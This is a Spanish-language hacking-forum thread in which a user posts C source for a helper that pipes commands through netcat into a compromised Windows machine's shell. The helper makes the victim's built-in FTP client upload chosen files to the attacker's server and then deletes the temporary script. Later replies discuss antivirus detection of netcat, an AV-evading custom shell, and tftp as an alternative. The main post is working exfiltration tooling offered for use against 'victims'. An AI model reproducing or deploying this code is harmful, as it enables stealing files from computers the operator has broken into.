Foro de elhacker.net

Seguridad Informática => Hacking => Mensaje iniciado por: demersseman en 18 Octubre 2010, 13:55 pm



Título: Interfaz Shell remota
Publicado por: demersseman en 18 Octubre 2010, 13:55 pm
Hola a todos!
soy nuevo aqui, aunque os llevo leyendo muucho tiempo, para estrenarme os pongo un programilla de cosecha propia xD

El problema se me planteo cuando conseguí mis primeras shell de pcs bajo windows, dices vale, ya tengo la shell, pero ahora como me bajo ese fichero??
Las soluciones son varias, pero si te decantas por usar el ftp de la maquina remota, puede ser muy laborioso. Así que la misión de este programa en C es automatizar el proceso.
El programa  lee de la entrada estandar, y manda a la shell remota por un pipe, por ejemplo, si usamos netcat:

Código:
interfaz | nc -l -p puerto -vv

el progamilla lee de la entrada estanar y lo envia a nc tal cual, escepto los comando reservados, que son:
get fichero
put fichero
mget ficheros
mput ficheros
(mget y mput se pueden usar por ejemplo así: mget *.jpg)

ya os podeis imaginar que hacen esos comandos xD
No lo he probado en guidous pero en Linux va de lujo jeje

el código es criticable jaja, pero me salió asi:

Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

main(){
    char buffer[100], rutaa[50]="c:\\system.txt", fichero[50];
    int i, fd[2];
    char user[]="usuario", pass[]="contraseña", ip[]="ftp donde vamos a subir los ficheros";
   
    pipe(fd);

    for(;;){
        if(i=fork()==0){
            close(fd[0]);
            bzero(buffer, sizeof(buffer));
            bzero(fichero, sizeof(fichero));   
            fgets(buffer,101, stdin);
            if(buffer[0]=='g' && buffer[1]=='e' && buffer[2]=='t' && buffer[3]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho put %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='m' && buffer[1]=='g' && buffer[2]=='e' && buffer[3]=='t' && buffer[4]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mput %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='p' && buffer[1]=='u' && buffer[2]=='t' && buffer[3]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho get %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='m' && buffer[1]=='p' && buffer[2]=='u' && buffer[3]=='t' && buffer[4]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mget %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else{
                printf("%s",buffer);
                write(fd[1], "", 1);
                close(fd[1]);
                exit(0);
            }
        }else{
        read(fd[0], NULL, 1);
        wait(NULL);
        }
    }
}


Espero que a alguien le sirva

Saludos





Título: Re: Interfaz Shell remota
Publicado por: Debci en 18 Octubre 2010, 16:05 pm
Muchas gracias :)
Una vez mas se ve como cada uno se crea sus mini-tools para ir saliendo del paso (para los que decian que no era necesario saber programar en nada para hacer estas cosas)

Saludos


Título: Re: Interfaz Shell remota
Publicado por: max20 en 12 Noviembre 2010, 06:42 am
el netcat es detectado por la mayoria de los AVs... como troyano.

Exagerados :(


Título: Re: Interfaz Shell remota
Publicado por: Shell Root en 13 Noviembre 2010, 03:04 am
Of course, NetCat is a tool for transmitting data across network connections and may allow unauthorized access.


Título: Re: Interfaz Shell remota
Publicado por: demersseman en 18 Noviembre 2010, 14:38 pm
No sé si nc es detectado por los antivirus, porque nunca he probado nc en un sistema windows.
Lo que yo aqui propongo es una interfaz para usar el ftp de un pc remoto, es decir, este programa introduce comandos en la shell de otro pc (que debe tener el cliente ftp de windows).
Yo en ningun momento he dicho que tengas que usar nc para obtener la shell.
En el ejemplo que he puesto, uso netcat como cliente (en mi pc), pero en el lado de la victima, no uso netcat uso otro programa que no es detectado por ningun antivirus porque también es hecho y compilado  por mi.
Incluso si no quieres empezar de 0, puedes compilar tu propia version de nc. El código fuente es abierto.

Saludos  ;)


Título: Re: Interfaz Shell remota
Publicado por: WHK en 4 Diciembre 2010, 16:06 pm
ya lo he probado incluso haciendo cat archivo |nc.. y despues nc -v > archivo y hay problemas con la codificación de carácteres de la consola, el traspaso de ficheros sirve para archivos ascii pero no binarios :(, podrías hacer una versión mas directa con sockets, similar a wget pero con servidor incluido


Título: Re: Interfaz Shell remota
Publicado por: demersseman en 7 Enero 2011, 01:45 am
no entiendo bien cual es tu problema.
pienso que no has ententendido cual es el propósito del programa.
quizas no me haya explicado bien.
Una forma de ver lo que hace es ejecutar el programa tal cual sin tuberias (pipes)
y usar los comando reservados, por ejemplo:
     get fichero.jpg

Los que el programa imprime por la salida estandar, son los comando necesarios para que el ftp DE LA VICTIMA, envia fichero.jpg a MI servidor ftp (cuya direccion y usuario introducimos en el código, al principio)

Para poder introducir esos comandos en el cliente ftp de la victima necesitamos su shell, y se lo pasamos mediante un pipe "|"
Espero que te haya servido de algo
saludos


Título: Re: Interfaz Shell remota
Publicado por: R007h en 12 Enero 2011, 21:47 pm
lo mejor es usar el tftp de windows...